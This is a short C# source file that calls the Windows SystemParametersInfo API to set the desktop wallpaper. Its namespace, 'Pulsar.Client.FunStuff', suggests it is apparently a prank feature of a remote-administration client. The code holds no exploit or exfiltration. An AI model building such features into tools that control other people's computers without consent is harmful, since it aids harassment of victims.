24 lines
786 B
C#
24 lines
786 B
C#
using System;
|
|
using System.Runtime.InteropServices;
|
|
|
|
namespace Pulsar.Client.FunStuff
|
|
{
|
|
public static class ChangeWallpaper
|
|
{
|
|
[DllImport("user32.dll", CharSet = CharSet.Auto)]
|
|
private static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
|
|
|
|
private const int SPI_SETDESKWALLPAPER = 20;
|
|
private const int SPIF_UPDATEINIFILE = 0x01;
|
|
private const int SPIF_SENDCHANGE = 0x02;
|
|
|
|
public static void SetWallpaper(string path)
|
|
{
|
|
if (string.IsNullOrEmpty(path))
|
|
throw new ArgumentException("Path cannot be null or empty.", nameof(path));
|
|
|
|
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, path, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
|
|
}
|
|
}
|
|
}
|